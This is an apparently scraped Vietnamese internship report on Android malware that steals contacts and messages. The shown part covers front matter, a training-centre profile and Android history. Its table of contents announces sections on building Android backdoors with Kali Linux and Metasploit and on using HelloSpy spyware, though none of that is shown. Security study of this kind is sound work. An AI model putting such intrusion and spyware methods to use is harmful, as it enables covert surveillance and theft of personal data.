SlideShare a Scribd company logo
1 of 121
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
1
BÁO CÁO THỰC TẬP CUỐI KÌ
Đề tài:
Nghiên cứu các Trojan, Malware cho phép đánh cắp dữ
liệu như danh sách contact, tin nhắn trên điện thoại sử
dụng Android và gửi ra ngoài
 Nơi thực tập :
TT.QUẢN TRỊ MẠNG &AN NINH MẠNG QUỐC TẾ ATHENA
 Thời gian :
7/7/2014 – 7/9/2014
Sinh viên thực hiện :Nguyễn Hoàng Thạch
GVHD: Võ Đỗ Thắng
MSSV: 1120160
TP.HCM, ngày 9 tháng 8 năm 2014
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
2
Sinh viên thực tập và giảng viên hướng dẫn Võ Đỗ Thắng
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
3
NHẬN XÉT CỦA GIÁO VIÊN HƯỚNG DẪN
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
TPHCM, ngày ... tháng ... năm 2014
Giáo viên hướng dẫn
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
4
NHẬN XÉT CỦA KHOA
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
TPHCM, ngày ... tháng ... năm 2014
Trưởng Khoa
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
5
Lời Nói Đầu
Hiện nay có nhiều hệ điều hành mới dành cho các thiết bị điện thoại di động, tablet để thay thế
cho những hệ điều hành cũ lõi thời. Như Apple có hệ điều hành IOS, Nokia có hệ điều hành
Window Phone, SamSung sử dụng hệ điều hành Android. Trong đó đáng kể nhất phải nói đến
Android, tuy mới bước chân vào làng điện thoại di động nhưng Android đã lần lượt hạ gục các
đối thũ tầm cỡ và trở thành hệ điều hành có tốc độ tăng trưởng cũng như chiếm thị phần lớn nhất
trên thế giới. Mỗi phiên bản của Android luôn thu hút mối quan tâm của giới công nghệ, các nhà
sản xuất và người sử dụng. Tuy vậy hệ điều hành Android cũng là hệ điều hành dễ bị các Hacker
khai thác nhất, vì vậy việc bảo đảm an toàn và hệ thống bảo mật trên Android là vấn đề đau đầu
của người dùng hiện nay. Với sự nhẹ dạ cả tin, thiếu hiểu biết của người dùng, lòng tham các
các thứ “Free” như free app, free wifi đã vô tình tiếp tay cho các Hacker xâm nhập và cài đặt mã
độc trên chính chiếc điện thoại của bạn.
Sơ đồ thể hiện sự tăng mạnh của mã độc Android
Hôm nay mình viết bài báo cáo về đề tài “Nghiên cứu các trojan, malware cho phép đánh cắp dữ
liệu như danh sách contact, tin nhắn trên điện thoại Android và gửi ra ngoài” để cùng nghiên
cứu, tìm hiểu cách thức hoạt động, chia sẻ thông tin cũng như cung cấp các giải pháp để phòng
tránh.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
6
Lời Cảm Ơn

Chúng em xin chân thành cảm ơn thầy Võ Đỗ Thắng đã tận tình giúp đỡ, hướng dẫn và
cung cấp tài liệu liên quan đến đồ án này
Xin chân thành cảm ơn Trung Tâm Athena đã tạo điều kiện thuận lợi trong học tập cũng
như trong quá trình làm đồ án thực tập này.
Chúng em cũng gửi lời cảm ơn chân thành tới các thầy cô trong Trung Tâm đã tận tình
giảng dạy, trang bị cho chúng em những kiến thức quý báu trong những tháng vừa qua.
Cảm ơn các thầy cô và bạn bè đã góp ý và giúp đỡ tận tình xây dựng đồ án này.
Xin chân thành cảm ơn!
TPHCM, ngày 9 tháng 8 năm 2014
Sinh viên thực tập
Nguyễn Hoàng Thạch
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
7
MỤC LỤC
PHẦN 1: GIỚI THIỆU DOANH NGHIỆP THỰC TẬP............................................................................10
CHƯƠNG I: GIỚI THIỆU DOANH NGHIỆP THỰC TẬP – TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ AN NINH MẠNG
QUỐC TẾ ATHENA.............................................................................................................................10
1. Trụ sở và các chi nhánh:.......................................................................................................11
1.1. Trụ sở chính: .................................................................................................................11
1.2. Cơ sở 2 tại TP Hồ Chí Minh:..........................................................................................11
2. Quá trình hình thành và phát triển của trung tâm:.............................................................11
3. Cơ cấu tổ chức:.....................................................................................................................13
4. Các sản phẩm, giải pháp:.....................................................................................................13
4.1. Các khóa học dài hạn:...................................................................................................13
4.2. Các khóa học ngắn hạn: ...............................................................................................13
Khóa Quản trị mạng : ...........................................................................................................13
Khóa thiết kế web và bảo mật mạng ...................................................................................14
4.3. Các sản phẩm khác .......................................................................................................14
4.4. Cơ sở hạ tầng ................................................................................................................14
4.5. Các dịch vụ hỗ trợ:........................................................................................................15
5. Khách hàng...........................................................................................................................15
6. Đối tác...................................................................................................................................15
CHƯƠNG II.CÁC NHIỆM VỤ VÀ DỊCH VỤ CỦA BỘ PHẬN THỰC TẬP.................................................................15
PHẦN 2: NỘI DUNG THỰC TẬP.......................................................................................................16
CHƯƠNG I: LÀM TRÊN LOCAL HOST.........................................................................................................16
1. Tổng quan về Android ..........................................................................................................16
1.1 Khái niệm.......................................................................................................................16
1.2 Đặc điểm. ......................................................................................................................16
1.3 Lịch sử phát triển..........................................................................................................17
1.4 Sự ra mắt các phiên bản Android ................................................................................19
1.5 Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lâp..............................20
1.5.1. Cài đặt Java SE trên máy tính. ...................................................................................20
1.5.2. Cài đặt Eclipse và Android SDK..................................................................................25
1.5.3. Tạo máy AVD (Android Virtual Device). ....................................................................28
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
8
1.6 So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x........................................32
1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.........................................32
1.6.2. Sự khác nhau về giao diện.........................................................................................33
1.6.3. Sự khác nhau về tính năng. .......................................................................................34
1.6.4. Sự khác nhau về giao thức mạng. .............................................................................35
2. Mã độc trên Android. ...........................................................................................................35
2.1. Định nghĩa:....................................................................................................................35
2.2. Mã độc trong môi trường Android: .............................................................................35
2.2.1. Android là một môi trường lý tưởng cho mã độc phát triển....................................35
2.2.2. Phân loại mã độc Android. ........................................................................................36
2.3. Thực trạng.....................................................................................................................36
2.4. Malware – tiêu biểu của trên Android. .......................................................................38
2.4.1. Cơ chế hoạt động của Malware. ...............................................................................38
2.4.2. Mục đích của Malware DroidDream.........................................................................39
2.5. Cơ chế bảo mật trong Android. ...................................................................................39
2.5.1. Tính bảo mật trong Android......................................................................................39
2.5.2. Cơ chế Permission: ....................................................................................................39
2.5.3. Google Play:...............................................................................................................40
3. Cài đặt một số chương trình có mã độc trên Android.........................................................40
3.1. iCalendar .......................................................................................................................40
3.1.1. Các công cụ cần thiết:................................................................................................40
3.1.2. Các bước thực hiện:...................................................................................................40
3.2. iMatch ...........................................................................................................................46
3.2.1. Các công cụ cần thiết:................................................................................................46
3.2.2. Các bước thực hiện:...................................................................................................46
4. Nghiên cứu Kali Linux, cách tạo mã độc trên Kali Linux để xâm nhập vào máy Android ...48
4.1. Tổng quan .....................................................................................................................49
4.2. Cải tiến của Kali Linux so với Backtrack. ......................................................................49
4.3. Cài đặt Kali Linux...........................................................................................................50
4.3.1. Chuẩn bị.....................................................................................................................50
4.3.2. Cài đặt........................................................................................................................50
4.4. Tạo mã độc trên Kali Linux để xâm nhập Android. .....................................................67
4.4.1. Tạo lập Backdoor .......................................................................................................69
4.4.2. XSSF............................................................................................................................76
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
9
5. Kết luận....................................................................................................................................83
CHƯƠNG II:LÀM TRÊN VPS...................................................................................................................84
1. Giới thiệu về VPS:..................................................................................................................84
1.1. Định nghĩa .....................................................................................................................84
1.2. Đặc điểm về thông số VPS............................................................................................84
1.3. Giá trị khi sử dụng VPS .................................................................................................84
2. Cài đặt mã độc trên VPS: .....................................................................................................85
2.1. Giới thiệu.......................................................................................................................85
2.2. Các thành phần của Metasploit...................................................................................85
2.2.1. Metasploit hỗ trợ nhiều giao diện với người dùng...................................................85
2.2.2. Enviroment ................................................................................................................85
2.3. Cài đặt Metasploit Community....................................................................................86
Trên hệ điều hành windows................................................................................................86
Trên hệ điều hành Ubuntu..................................................................................................91
3. Từ VPS xâm nhập vào thiết bị Android: ...............................................................................98
CHƯƠNG III: TÌM HIỂU THÊM ..............................................................................................................108
I. HelloSpy..............................................................................................................................108
1. Download và cài đặt HelloTarget...................................................................................108
1.1. Download.................................................................................................................108
1.2. Đăng ký một tài khoản trực tuyến và đăng ký điện thoại của bạn.........................110
2. Online Control Panel ......................................................................................................112
2.1. MyDashboard..........................................................................................................112
2.2. Xem logs...................................................................................................................113
2.3. Thiết lập ...................................................................................................................116
2.4. Xóa data ...................................................................................................................117
2.5. Back up CSV..............................................................................................................117
2.6. Thay đổipassword...................................................................................................118
2.7. Thay đổi account email............................................................................................119
2.8. Uninstall HelloSpy remotely.....................................................................................119
2.9. Removeaccount ......................................................................................................119
PHẦN 3: LINK SLIDESHARE VÀ YOUTUBE QUÁ TRÌNH THỰC HIỆN ĐỀ TÀI.....................................120
PHẦN 4: KẾT QUẢ ĐẠT ĐƯỢC.......................................................................................................121
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
10
Phần 1: Giới thiệu doanh nghiệp thực tập
Chương I: Giới thiệu doanh nghiệp thực tập – Trung Tâm Đào Tạo Quản Trị Mạng và An
Ninh Mạng Quốc Tế ATHENA.
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA_Tiền thân là Công
ty TNHH Tư vấn và Đào tạo quản trị mạng Việt Năng, (tên thương hiệu viết tắt là TRUNG
TÂM ĐÀO TẠO ATHENA), được chính thức thành lập theo giấy phép kinh doanh số
4104006757 của Sở Kế Hoạch Đầu Tư Tp Hồ Chí Minh cấp ngày 04 tháng 11 năm 2008.
Tên công ty viết bằng tiếng nước ngoài: ATHENA ADVICE TRAINING NETWORK
SECURITY COMPANY LIMITED.
ATHENA là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam đầy năng động, nhiệt huyết và kinh
nghiệm trong lĩnh vực công nghệ thông tin. Với quyết tâm góp phần vào công cuộc thúc đẩy tiến
trình tin học hóa của nước nhà. ATHENA đã và đang tập trung chủ yếu vào các họat động sau:
 Đào tạo chuyên sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu
chuẩn quốc tế của các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI ,
CEH,... Song song đó, trung tâm ATHENA còn có những chương trình đào tạo cao
cấp dành riêng theo đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An ,
ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính..Qua đó cung cấp
nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc biệt là chuyên gia về mạng
máy tính và bảo mật mạng đạt trình độ quốc tế cho các tổ chức, doanh nghiệp có nhu
cầu.
 Tư vấn và hổ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào hoạt động sản xuất
kinh doanh.
 Tiến hành các hoạt động nghiên cứu nâng cao kiến thức tin học và phát triển cơ sở dữ
liệu thông tin về các ứng dụng và sự cố mạng.
 Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong trường hợp xảy ra sự
cố máy tính.
Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung tâm ATHENA đã là chuyên gia đảm
nhận công tác quản lý hệ thống mạng, an ninh mạng cho nhiều bộ ngành như Cục Công Nghệ
Thông Tin - Bộ Quốc Phòng , Bộ Công An, Sở Thông Tin Truyền Thông các tỉnh, bưu điện các
tỉnh,…
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
11
Ngoài ra, Trung tâm ATHENA còn có nhiều chương trình hợp tác và trao đổi công nghệ với
nhiều đại học lớn như đại học Bách Khoa Thành Phố Hồ Chí Minh, HọcViệnAn Ninh Nhân
Dân( Thủ Đức), Học Viện Bưu Chính Viễn Thông, Hiệp hội an toàn thông tin (VNISA), Viện
Kỹ Thuật Quân Sự...
1. Trụ sở và các chi nhánh:
1.1. Trụ sở chính:
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA.
Số 2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh, Việt Nam.
Điện thoại: ( 84-8 ) 3824 4041
Hotline: 0943 23 00 99.
1.2. Cơ sở 2 tại TP Hồ Chí Minh:
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA
92 Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí Minh, Việt Nam.
Website: www.athena.edu.vn
Điện thoại: ( 84-8 ) 2210 3801
Hotline: 0943 20 00 88.
2. Quá trình hình thành và phát triển của trung tâm:
 Một nhóm các thành viên là những doanh nhân tài năng và thành công trong lĩnh vực
công nghệ thông tin đã nhận ra tiềm năng phát triển của việc đào tạo nền công nghệ thông
tin nước nhà. Họ là những cá nhân có trình độ chuyên môn cao và có đầu óc lãnh đạo
cùng với tầm nhìn xa về tương lai của ngành công nghệ thông tin , họ đã quy tụ được một
lực lượng lớn đội ngũ công nghệ thông tin trước hết là làm nhiệm vụ ứng cứu máy tính
cho các doanh nghiệp, cá nhân có nhu cầu. Bước phát triển tiếp theo là vươn tầm đào đạo
đội ngũ cán bộ công nghệ thông tin cho đất nước và xã hội.
 Các thành viên sáng lập trung tâm gồm:
 Ông Nguyễn Thế Đông: Cựu giám đốc trung tâm ứng cứu máy tính Athena, hiện
tại là giám đốc dự án của công ty Siemen Telecom.
 Ông Hứa Văn Thế Phúc: Phó Giám đốc Phát triển Thương mại Công ty EIS, Phó
Tổng công ty FPT.
 Ông Nghiêm Sỹ Thắng: Phó Tổng giám đốc Ngân hàng Liên Việt, chịu trách
nhiệm công nghệ thông tin của Ngân hàng.
 Ông Võ Đỗ Thắng: Hiện đang là giám đốc Trung tâm đào tạo quản trị và an ninh
mạng Athena.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
12
Đến năm 2003, bốn thành viên sáng lập cùng với với đội ngũ ứng cứu máy tính gần 100 thành
viên hoạt động như là một nhóm, một tổ chức ứng cứu máy tính miền Nam.
Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình. Trung tâm trở thành
một trong những địa chỉ tin cậy của nhiều doanh nghiệp nhằm cài đặt hệ thống an ninh mạng và
đào tạo cho đội ngũ nhân viên của các doanh nghiệp về các chương trình quản lý dự án MS
Project 2003, kỹ năng thương mại điện tử, bảo mật web… và là địa chỉ tin cậy của nhiều học
sinh_sinh viên đến đăng kí học. Đòi hỏi cấp thiết trong thời gian này của Trung tâm là nâng cao
hơn nữa đội ngũ giảng viên cũng như cơ sở để đáp ứng nhu cầu ngày càng cao về công nghệ
thông tin của đất nước nói chung, các doanh nghiệp, cá nhân nói riêng.Năm 2004, công ty mở
rộng hoạt động cung cấp giải pháp, dịch vụ cho khu vực miền Trung thông qua việc thành lập
văn phòng đại diện tại Đà Nẵng.
Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra thêm một chi nhánh
tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng đội ngũ giảng viên là những chuyên
gia an ninh mạng tốt nghiệp các trường đại học và học viện công nghệ thông tin uy tín trên toàn
quốc, đồng thời trong thời gian này Athena có nhiều chính sách ưu đãi nhằm thu hút đội ngũ
nhân lực công nghệ thông tin lành nghề từ các doanh nghiệp, tổ chức, làm giàu thêm đội ngũ
giảng viên của trung tâm.
Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng mọc lên, cùng với
khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm rơi vào nhiều khó khăn. Ông
Nguyễn Thế Đông cùng Ông Hứa Văn Thế Phúc rút vốn khỏi công ty gây nên sự hoang man
cho toàn bộ hệ thống trung tâm. Cộng thêm chi nhánh tại Cư xã Nguyễn Văn Trỗi hoạt động
không còn hiệu quả phải đóng cửa làm cho trung tâm rơi từ khó khăn này đến khó khăn khác.
Lúc này, với quyết tâm khôi phục lại công ty cũng như tiếp tục sứ mạng góp phần vào tiến trình
tin học hóa của đất nước. Ông Võ Đỗ Thắng mua lại cổ phần của hai nhà đầu tư lên làm giám
đốc và xây dựng lại trung tâm. Đây là một bước chuyển mình có ý nghĩa chiến lược của trung
tâm. Mở ra một làn gió mới và một giai đoạn mới, cùng với quyết tâm mạnh mẽ và một tinh
thần thép đãgiúp ông Thắng vượt qua nhiều khó khăn ban đầu, giúp trung tâm đứng vững trong
thời kì khủng hoảng.
Từ năm 2009 – nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược. Trung tâm đào tạo quản
trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo hoạt động của mình. Đến nay, Trung
tâm đã trở thành một trong những trung tâm đào tạo quản trị mạng hàng đầu Việt Nam. Cùng
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
13
với sự liên kết của rất nhiều công ty, tổ chức doanh nghiệp, trung tâm trở thành nơi đào tạo và
cung cấp nguồn nhân lực công nghệ thông tin cho xã hội. Từng bước thực hiện mục tiêu góp
phần vào tiến trình tin học hóa nước nhà.
3. Cơ cấu tổ chức:
Hình 1. Sơ đồ tổ chức công ty.
4. Các sản phẩm, giải pháp:
4.1. Các khóa học dài hạn:
-Chương trình đào tạo chuyên gia an ninh mạng. ( AN2S) Athena network security
specialist.
-Chương trình Quản trị viên an ninh mạng (ANST) Athena netuwork security Technician.
-Chuyên viên quản trị mạng nâng cao (ANMA) Athena network manager Administrator.
4.2. Các khóa học ngắn hạn:
Khóa Quản trị mạng :
-Quản trị mạng Microsoft căn bản ACBN
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
14
-Phần cứng máy tính, laptop, server
-Quản trị hệ thống mạng Microsoft MCSA Security.
-Quản trị mạng Microsoft nâng cao MCSE
-Quản trị window Vista
-Quản trị hệ thống Window Server 2008, 2012
-Lớp Master Exchange Mail Server
-Quản trị mạng quốc tế Cissco CCNA
-Quản trị hệ thống mạng Linux 1 và Linux 2.
Khóa thiết kế web và bảo mật mạng
- Xây dựng, quản trị web thương mại điện tử với Joomla và VirtuMart
- Lập trình web với Php và MySQL
- Bảo mật mạng quốc tế ACNS
- Hacker mũ trắng
- Athena Mastering Firewall Security
- Bảo mật website.
4.3. Các sản phẩm khác
-Chuyên đề thực hành sao lưu và phục hồi dữ liệu
-Chuyên đề thực hành bảo mật mạng Wi_Fi
-Chuyên đề Ghost qua mạng
-Chuyên đề xây dựng và quản trị diễn đàn
-Chuyên đề bảo mật dữ liệu phòng chống nội gián
-Chuyên đề quản lý tài sản công nghệ thông tin
-Chuyên đề kỹ năng thương mại điện tử.
4.4. Cơ sở hạ tầng
-Thiết bị đầy đủ và hiện đại.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
15
-Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với những công nghệ mới
nhất.
-Phòng máy rộng rãi, thoáng mát.
4.5. Các dịch vụ hỗ trợ:
-Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn
-Giới thiệu việc làm cho mọi học viên
-Thực tập có lương cho học viên khá giỏi
-Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí, không giới hạn thời
gian
-Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan đến máy tính, mạng
máy tính, bảo mật mạng
Hỗ trợ thi Chứng chỉ Quốc tế.
5. Khách hàng
-Mọi đối tượng chuyên hoặc không chuyên về CNTT.
-Khách hàng chủ yếu của ATHENA là các bạn học sinh, sinh viên và các cán bộ công
nhân viên chức yêu thích lĩnh vực công nghệ thông tin.
6. Đối tác
Trung tâm đào tạo an ninh mạng ATHENA là đối tác đào tạo & cung cấp nhân sự
CNTT, quản trị mạng , an ninh mạng chất lượng cao theo đơn đặt hàng cho các đơn
vị như ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính...
Chương II.Các nhiệm vụ và dịch vụ của bộ phận thực tập
Bộ phận thực tập : Bộ phận triển khai kỹ thuật.
Nhiệm vụ và dịch vụ:
 Triển khai lắp đặt hệ thống mạng.
 Bảo trì hệ thống mạng.
 Tư vấn hỗ trợ quản trị hệ thống mạng.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
16
Phần 2: Nội dung thực tập
Chương I: Làm trên local host
1. Tổng quan về Android
1.1Khái niệm.
Android là một hệ điều hành mã nguồn mở xây dựng trên nền tảng Linux, chủ yếu sử dụng
trên các thiết bị thông minh như điện thoại di động, máy tính bảng (và hiện nay là cả các đầu
phát HD, smart TV …). Trước đây, Android được phát triển bởi công ty liên hợp Android sau
đó được Google mua lại vào năm 2005. Theo ComScore, đến đầu tháng 3 năm 2014, Android
chiếm 51.7% thị phần hệ điều hành trên smartphone tại Mỹ (iOS chiếm 41.6%), là hệ điều hành
số một trên điện thoại thông minh.
Hình 1:Logo Android
Android ra mắt vào năm 2007 cùng với sự tuyên bố thành lập Liên minh thiết bị cầm tay
mở gồm 78 công ty phần cứng, phần mềm và viễn thông với mục tiêu đẩy mạnh các tiêu chuẩn
mở cho các thiết bị di động. Hệ điều hành Android bao gồm 12 triệu dòng mã: 3 triệu dòng
XML, 2.8 triều dòng mã C, 1.75 triệu dòng mã C++ và 2.1 triệu dòng mã Java. Thể hiện tính mở
của Android, Google công bố hầu hết các mã nguôn của Android theo bản cấp phép Apache.
1.2Đặc điểm.
 Tính mở: Ngay từ ban đầu, Android ra mắt là một hệ điều hành mã nguôn mở, được xây
dựng trên nhân Linux mở sử dụng một máy ảo mà đã được tối ưu hóa bộ nhớ và phần cứng với
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
17
môi trường di động; nó có thể được mở rộng để kết hợp tự do giữa các công nghệ nổi trội. Tính
mở hoàn toàn của Android cho phép người phát triển tạo các ứng dụng hấp dẫn với đầy đủ các
điểm mạnh của các thiết bị cầm tay hiện có. Hơn nữa, một ứng dụng trong Android có thể gọi
tới bất kỳ một chức năng lõi nào như tạo cuộc gọi, gửi tinh nhắn hay sử dụng máy ảnh… cho
phép người phát triển tạo phần mềm phong phú hơn, dễ dàng liên kết các tính năng cho người
dùng. Những nền tảng ưu điểm này sẽ tiếp tục phát triển bởi cộng đồng phát triển để tạo ra các
ứng di động hoàn hảo.
 Tính ngang bằng của ứng dụng: Với Android, không có sự khác nhau giữa các ứng dụng
điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được xây dựng để truy cập như nhau tới
một loạt các ứng dụng và dịch vụ của điện thoại. Với các thiết bị được xây dựng trên nền tảng
Android, người dùng có thể đáp ứng đầy đủ các nhu cầu mà họ thích. Chúng ta có thể đổi màn
hình nền, kiểu gọi điện thoại, hay bất kể ứng dụng nào. Chúng ta thậm chí có thể hướng dẫn
điện thoại chỉ xem những ảnh mình thích.
 Phá vỡ rào cản phát triển ứng dụng: Android phá vỡ rào cản để tạo ứng dụng mới và cải
tiến. Một người phát triển có thể kết hợp thông tin từ trang web với dữ liệu trên điện thoại cá
nhân – chẳng hạn như danh bạ, lịch hay vị trí trên bản đồ – để cung cấp chính xác hơn cho
người khác. Với Android, người phát triển có thể xây dựng một ứng dụng mà cho phép người
dùng xem vị trí của những người bạn và thông báo khi họ đang ở vị trí lân cận. Tất cả được lập
trình dễ dàng thông qua sự hỗ trợ của MapView và dịch vụ định vị toàn cầu GPS.
 Xây dựng ứng dụng dễ dàng và nhanh chóng: Android cung cấp bộ thư viện giao diện lập
trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng phức tạp. Ví dụ, Android có thể cho
phép người phát triển biết được vị trí của thiết bị và cho phép các thiết bị giao tiếp với nhau để
có thể tạo nên mạng xã hội chia sẻ ngang hàng rộng khắp. Thêm nữa, Android còn bao gồm một
bộ công cụ đầy đủ giúp cho việc phát triển trở nên dễ dàng.
1.3Lịch sử phát triển
Tổng công ty Android (Android, Inc.) được thành lập tại Palo Alto, California vào tháng 10 năm
2003 bởi Andy Rubin (đồng sáng lập công ty Danger), Rich Miner (đồng sáng lập Tổng công ty
Viễn thông Wildfire) Nick Sears (từng là Phó giám đốc T-Mobile),và Chris White (trưởng thiết
kế và giao diện tại WebTV) để phát triển, theo lời của Rubin, "các thiết bị di động thông minh
hơn có thể biết được vị trí và sở thích của người dùng".DÙ những người thành lập và nhân viên
đều là những người có tiếng tăm, Tổng công ty Android hoạt động một cách âm thầm, chỉ tiết lộ
rằng họ đang làm phần mềm dành cho điện thoại di động. Trong năm đó, Rubin hết kinh
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
18
phí. Steve Perlman, một người bạn thân của Rubin, mang cho ông 10.000 USD tiền mặt nhưng
từ chối tham gia vào công ty.
Google mua lại Tổng công ty Android vào ngày 17 tháng 8 năm 2005, biến nó thành một bộ
phận trực thuộc Google. Những nhân viên của chủ chốt của Tổng công ty Android, gồm Rubin,
Miner và White, vẫn tiếp tục ở lại công ty làm việc sau thương vụ này. Vào thời điểm đó không
có nhiều thông tin về Tổng công ty, nhưng nhiều người đồn đoán rằng Google dự tính tham gia
thị trường điện thoại di động sau bước đi này. Tại Google, nhóm do Rubin đứng đầu đã phát
triển một nền tảng thiết bị di động phát triển trên nền nhân Linux. Google quảng bá nền tảng này
cho các nhà sản xuất điện thoại và các nhà mạng với lời hứa sẽ cung cấp một hệ thống uyển
chuyển và có khả năng nâng cấp. Google đã liên hệ với hàng loạt hãng phần cứng cũng như đối
tác phần mềm, bắn tin cho các nhà mạng rằng họ sẵn sàng hợp tác với các cấp độ khác nhau.
Ngày 5 tháng 11 năm 2007, Liên minh thiết bị cầm tay mở (Open Handset Alliance), một hiệp
hội bao gồm nhiều công ty trong đó có Texas Instruments, Tập đoàn
Broadcom, Google, HTC, Intel,LG, Tập đoàn Marvell
Technology, Motorola, Nvidia, Qualcomm, Samsung Electronics, Sprint Nextel và T-
Mobile được thành lập với mục đích phát triển các tiêu chuẩn mở cho thiết bị di động. Cùng
ngày, Android cũng được ra mắt với vai trò là sản phẩm đầu tiên của Liên minh, một nền tảng
thiết bị di động được xây dựng trên nhân Linux phiên bản 2.6. Chiếc điện thoại chạy Android
đầu tiên được bán ra là HTC Dream, phát hành ngày 22 tháng 10 năm 2008. Biểu trưng của hệ
điều hành Android mới là một con rôbốt màu xanh lá cây do hãng thiết kế Irina Blok tại
California vẽ.
Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ điều hành, bổ sung
các tính năng mới và sửa các lỗi trong những lần phát hành trước. Mỗi bản nâng cấp được đặt
tên lần lượt theo thứ tự bảng chữ cái, theo tên của một món ăn tráng miệng, ví dụ như phiên bản
1.5 Cupcake (bánh bông lan nhỏ có kem) tiếp nối bằng phiên bản Donut (bánh vòng). Phiên bản
mới nhất là 4.2 Jelly Bean (kẹo dẻo).
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
19
Hình 2: Các phiên bản Android
Vào năm 2010, Google ra mắt loạt thiết bị Nexus, một dòng sản phẩm bao gồm điện thoại thông
minh và máy tính bảng chạy hệ điều hành Android, do các đối tác phần cứng sản xuất. HTC đã
hợp tác với Google trong chiếc điện thoại thông minh Nexus đầu tiên, Nexus One. Kể từ đó
nhiều thiết bị mới hơn đã gia nhập vào dòng sản phẩm này, như điện thoại Nexus 4 và máy tính
bảng Nexus 10, lần lượt do LG và Samsung sản xuất. Google xem điện thoại và máy tính bảng
Nexus là những thiết bị Android chủ lực của mình, với những tính năng phần cứng và phần
mềm mới nhất của Android.
1.4Sự ra mắt các phiên bản Android
 Android alpha: là phiên bản nội bộ trong Google và OHA được nghiên cứu và phát triển
trước khi Android beta ra mắt, với các phiên bản khác nhau là "Astro Boy", "Bender" và "R2-
D2".
 Android beta: được phát hành vào ngày 5 tháng 7 năm 2007. Tiếp theo đó bộ phát triển
phần mềm (SDK) ra mắt ngày 12 tháng 11 năm 2007.
 Android 1.0 (API mức độ 1): Kỉ nguyên Android chính thức khởi động vào ngày 22
tháng 10 năm 2008, khi mà chiếc điện thoại T-Mobile G1 chính thức được bán ra ở Mỹ. Đến
ngày 23 tháng 9 năm 2008, Google chính thức bán ra phiên bản thương mại của phần mềm.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
20
 Android 1.1 (API mức độ 2): phát hành ngày 9 tháng 2 năm 2009. Đây là bản cập nhật
đầu tiên giúp giải quyết lỗi, thay đổi Android API và thêm vào một số tính năng.
